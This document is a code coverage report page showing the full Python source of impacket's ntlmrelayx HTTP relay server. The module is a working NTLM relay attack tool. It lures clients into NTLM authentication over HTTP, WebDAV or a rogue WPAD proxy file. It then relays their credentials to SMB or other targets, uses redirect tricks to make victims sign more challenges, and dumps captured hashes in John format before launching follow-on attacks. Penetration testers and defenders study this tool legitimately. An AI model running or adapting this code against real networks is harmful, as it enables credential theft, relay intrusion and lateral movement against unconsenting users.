Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/httprelayserver.py : 10%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2#
3# This software is provided under under a slightly modified version
4# of the Apache Software License. See the accompanying LICENSE file
5# for more information.
6#
7# HTTP Relay Server
8#
9# Authors:
10# Alberto Solino (@agsolino)
11# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
12#
13# Description:
14# This is the HTTP server which relays the NTLMSSP messages to other protocols
16import http.server
17import socketserver
18import socket
19import base64
20import random
21import struct
22import string
23from threading import Thread
24from six import PY2, b
26from impacket import ntlm, LOG
27from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
28from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
29from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
30from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
32class HTTPRelayServer(Thread):
34 class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
35 def __init__(self, server_address, RequestHandlerClass, config):
36 self.config = config
37 self.daemon_threads = True
38 if self.config.ipv6:
39 self.address_family = socket.AF_INET6
40 # Tracks the number of times authentication was prompted for WPAD per client
41 self.wpad_counters = {}
42 socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass)
44 class HTTPHandler(http.server.SimpleHTTPRequestHandler):
45 def __init__(self,request, client_address, server):
46 self.server = server
47 self.protocol_version = 'HTTP/1.1'
48 self.challengeMessage = None
49 self.target = None
50 self.client = None
51 self.machineAccount = None
52 self.machineHashes = None
53 self.domainIp = None
54 self.authUser = None
55 self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \
56 '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \
57 'return "PROXY %s:80; DIRECT";} '
58 if self.server.config.mode != 'REDIRECT':
59 if self.server.config.target is None:
60 # Reflection mode, defaults to SMB at the target, for now
61 self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
62 self.target = self.server.config.target.getTarget()
63 if self.target is None:
64 LOG.info("HTTPD: Received connection from %s, but there are no more targets left!" % client_address[0])
65 return
66 LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc))
67 try:
68 http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
69 except Exception as e:
70 LOG.debug("Exception:", exc_info=True)
71 LOG.error(str(e))
73 def handle_one_request(self):
74 try:
75 http.server.SimpleHTTPRequestHandler.handle_one_request(self)
76 except KeyboardInterrupt:
77 raise
78 except Exception as e:
79 LOG.debug("Exception:", exc_info=True)
80 LOG.error('Exception in HTTP request handler: %s' % e)
82 def log_message(self, format, *args):
83 return
85 def send_error(self, code, message=None):
86 if message.find('RPC_OUT') >=0 or message.find('RPC_IN'):
87 return self.do_GET()
88 return http.server.SimpleHTTPRequestHandler.send_error(self,code,message)
90 def serve_wpad(self):
91 wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host)
92 self.send_response(200)
93 self.send_header('Content-type', 'application/x-ns-proxy-autoconfig')
94 self.send_header('Content-Length',len(wpadResponse))
95 self.end_headers()
96 self.wfile.write(b(wpadResponse))
97 return
99 def should_serve_wpad(self, client):
100 # If the client was already prompted for authentication, see how many times this happened
101 try:
102 num = self.server.wpad_counters[client]
103 except KeyError:
104 num = 0
105 self.server.wpad_counters[client] = num + 1
106 # Serve WPAD if we passed the authentication offer threshold
107 if num >= self.server.config.wpad_auth_num:
108 return True
109 else:
110 return False
112 def serve_image(self):
113 with open(self.server.config.serve_image, 'rb') as imgFile:
114 imgFile_data = imgFile.read()
115 self.send_response(200, "OK")
116 self.send_header('Content-type', 'image/jpeg')
117 self.send_header('Content-Length', str(len(imgFile_data)))
118 self.end_headers()
119 self.wfile.write(imgFile_data)
121 def do_HEAD(self):
122 self.send_response(200)
123 self.send_header('Content-type', 'text/html')
124 self.end_headers()
126 def do_OPTIONS(self):
127 self.send_response(200)
128 self.send_header('Allow',
129 'GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPY')
130 self.send_header('Content-Length', '0')
131 self.send_header('Connection', 'close')
132 self.end_headers()
133 return
135 def do_PROPFIND(self):
136 proxy = False
137 if (".jpg" in self.path) or (".JPG" in self.path):
138 content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""
139 else:
140 content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""
142 messageType = 0
143 if PY2:
144 autorizationHeader = self.headers.getheader('Authorization')
145 else:
146 autorizationHeader = self.headers.get('Authorization')
147 if autorizationHeader is None:
148 self.do_AUTHHEAD(message=b'NTLM')
149 pass
150 else:
151 typeX = autorizationHeader
152 try:
153 _, blob = typeX.split('NTLM')
154 token = base64.b64decode(blob.strip())
155 except:
156 self.do_AUTHHEAD()
157 messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
159 if messageType == 1:
160 if not self.do_ntlm_negotiate(token, proxy=proxy):
161 LOG.info("do negotiate failed, sending redirect")
162 self.do_REDIRECT()
163 elif messageType == 3:
164 authenticateMessage = ntlm.NTLMAuthChallengeResponse()
165 authenticateMessage.fromString(token)
166 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
167 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
168 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
169 authenticateMessage['user_name'].decode('utf-16le')))
170 else:
171 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
172 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
173 authenticateMessage['user_name'].decode('ascii')))
174 self.do_ntlm_auth(token, authenticateMessage)
175 self.do_attack()
178 self.send_response(207, "Multi-Status")
179 self.send_header('Content-Type', 'application/xml')
180 self.send_header('Content-Length', str(len(content)))
181 self.end_headers()
182 self.wfile.write(content)
183 return
185 def do_AUTHHEAD(self, message = b'', proxy=False):
186 if proxy:
187 self.send_response(407)
188 self.send_header('Proxy-Authenticate', message.decode('utf-8'))
189 else:
190 self.send_response(401)
191 self.send_header('WWW-Authenticate', message.decode('utf-8'))
192 self.send_header('Content-type', 'text/html')
193 self.send_header('Content-Length','0')
194 self.end_headers()
196 #Trickery to get the victim to sign more challenges
197 def do_REDIRECT(self, proxy=False):
198 rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
199 self.send_response(302)
200 self.send_header('WWW-Authenticate', 'NTLM')
201 self.send_header('Content-type', 'text/html')
202 self.send_header('Connection','close')
203 self.send_header('Location','/%s' % rstr)
204 self.send_header('Content-Length','0')
205 self.end_headers()
207 def do_SMBREDIRECT(self):
208 self.send_response(302)
209 self.send_header('Content-type', 'text/html')
210 self.send_header('Location','file://%s' % self.server.config.redirecthost)
211 self.send_header('Content-Length','0')
212 self.send_header('Connection','close')
213 self.end_headers()
215 def do_POST(self):
216 return self.do_GET()
218 def do_CONNECT(self):
219 return self.do_GET()
221 def do_GET(self):
222 # Get the body of the request if any
223 # Otherwise, successive requests will not be handled properly
224 if PY2:
225 contentLength = self.headers.getheader("Content-Length")
226 else:
227 contentLength = self.headers.get("Content-Length")
228 if contentLength is not None:
229 body = self.rfile.read(int(contentLength))
231 messageType = 0
232 if self.server.config.mode == 'REDIRECT':
233 self.do_SMBREDIRECT()
234 return
236 LOG.info('HTTPD: Client requested path: %s' % self.path.lower())
238 # Serve WPAD if:
239 # - The client requests it
240 # - A WPAD host was provided in the command line options
241 # - The client has not exceeded the wpad_auth_num threshold yet
242 if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):
243 LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0])
244 self.serve_wpad()
245 return
247 # Determine if the user is connecting to our server directly or attempts to use it as a proxy
248 if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'):
249 proxy = True
250 else:
251 proxy = False
253 if PY2:
254 proxyAuthHeader = self.headers.getheader('Proxy-Authorization')
255 autorizationHeader = self.headers.getheader('Authorization')
256 else:
257 proxyAuthHeader = self.headers.get('Proxy-Authorization')
258 autorizationHeader = self.headers.get('Authorization')
260 if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None):
261 self.do_AUTHHEAD(message = b'NTLM',proxy=proxy)
262 pass
263 else:
264 if proxy:
265 typeX = proxyAuthHeader
266 else:
267 typeX = autorizationHeader
268 try:
269 _, blob = typeX.split('NTLM')
270 token = base64.b64decode(blob.strip())
271 except Exception:
272 LOG.debug("Exception:", exc_info=True)
273 self.do_AUTHHEAD(message = b'NTLM', proxy=proxy)
274 else:
275 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
277 if messageType == 1:
278 if not self.do_ntlm_negotiate(token, proxy=proxy):
279 #Connection failed
280 LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
281 self.target.scheme, self.target.netloc)
282 self.server.config.target.logTarget(self.target)
283 self.do_REDIRECT()
284 elif messageType == 3:
285 authenticateMessage = ntlm.NTLMAuthChallengeResponse()
286 authenticateMessage.fromString(token)
288 if not self.do_ntlm_auth(token,authenticateMessage):
289 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
290 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
291 self.target.scheme, self.target.netloc,
292 authenticateMessage['domain_name'].decode('utf-16le'),
293 authenticateMessage['user_name'].decode('utf-16le')))
294 else:
295 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
296 self.target.scheme, self.target.netloc,
297 authenticateMessage['domain_name'].decode('ascii'),
298 authenticateMessage['user_name'].decode('ascii')))
300 # Only skip to next if the login actually failed, not if it was just anonymous login or a system account
301 # which we don't want
302 if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
303 self.server.config.target.logTarget(self.target)
304 # No anonymous login, go to next host and avoid triggering a popup
305 self.do_REDIRECT()
306 else:
307 #If it was an anonymous login, send 401
308 self.do_AUTHHEAD(b'NTLM', proxy=proxy)
309 else:
310 # Relay worked, do whatever we want here...
311 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
312 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
313 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
314 authenticateMessage['user_name'].decode('utf-16le')))
315 else:
316 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
317 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
318 authenticateMessage['user_name'].decode('ascii')))
320 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
321 authenticateMessage['user_name'],
322 authenticateMessage['domain_name'],
323 authenticateMessage['lanman'], authenticateMessage['ntlm'])
324 self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
326 if self.server.config.outputFile is not None:
327 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)
329 self.server.config.target.logTarget(self.target, True, self.authUser)
331 self.do_attack()
333 # Serve image and return 200 if --serve-image option has been set by user
334 if (self.server.config.serve_image):
335 self.serve_image()
336 return
338 # And answer 404 not found
339 self.send_response(404)
340 self.send_header('WWW-Authenticate', 'NTLM')
341 self.send_header('Content-type', 'text/html')
342 self.send_header('Content-Length','0')
343 self.send_header('Connection','close')
344 self.end_headers()
345 return
347 def do_ntlm_negotiate(self, token, proxy):
348 if self.target.scheme.upper() in self.server.config.protocolClients:
349 self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target)
350 # If connection failed, return
351 if not self.client.initConnection():
352 return False
353 self.challengeMessage = self.client.sendNegotiate(token)
355 # Remove target NetBIOS field from the NTLMSSP_CHALLENGE
356 if self.server.config.remove_target:
357 av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])
358 del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]
359 self.challengeMessage['TargetInfoFields'] = av_pairs.getData()
360 self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())
361 self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())
363 # Check for errors
364 if self.challengeMessage is False:
365 return False
366 else:
367 LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())
368 return False
370 #Calculate auth
371 self.do_AUTHHEAD(message = b'NTLM '+base64.b64encode(self.challengeMessage.getData()), proxy=proxy)
372 return True
374 def do_ntlm_auth(self,token,authenticateMessage):
375 #For some attacks it is important to know the authenticated username, so we store it
376 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
377 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
378 authenticateMessage['user_name'].decode('utf-16le'))).upper()
379 else:
380 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
381 authenticateMessage['user_name'].decode('ascii'))).upper()
383 if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':
384 clientResponse, errorCode = self.client.sendAuth(token)
385 else:
386 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
387 # when coming from localhost
388 errorCode = STATUS_ACCESS_DENIED
390 if errorCode == STATUS_SUCCESS:
391 return True
393 return False
395 def do_attack(self):
396 # Check if SOCKS is enabled and if we support the target scheme
397 if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:
398 # Pass all the data to the socksplugins proxy
399 activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),
400 self.authUser, self.client, self.client.sessionData))
401 return
403 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
404 if self.target.scheme.upper() in self.server.config.attacks:
405 # We have an attack.. go for it
406 clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,
407 self.authUser)
408 clientThread.start()
409 else:
410 LOG.error('No attack configured for %s' % self.target.scheme.upper())
412 def __init__(self, config):
413 Thread.__init__(self)
414 self.daemon = True
415 self.config = config
416 self.server = None
418 def run(self):
419 LOG.info("Setting up HTTP Server")
421 if self.config.listeningPort:
422 httpport = self.config.listeningPort
423 else:
424 httpport = 80
426 # changed to read from the interfaceIP set in the configuration
427 self.server = self.HTTPServer((self.config.interfaceIp, httpport), self.HTTPHandler, self.config)
429 try:
430 self.server.serve_forever()
431 except KeyboardInterrupt:
432 pass
433 LOG.info('Shutting down HTTP Server')
434 self.server.server_close()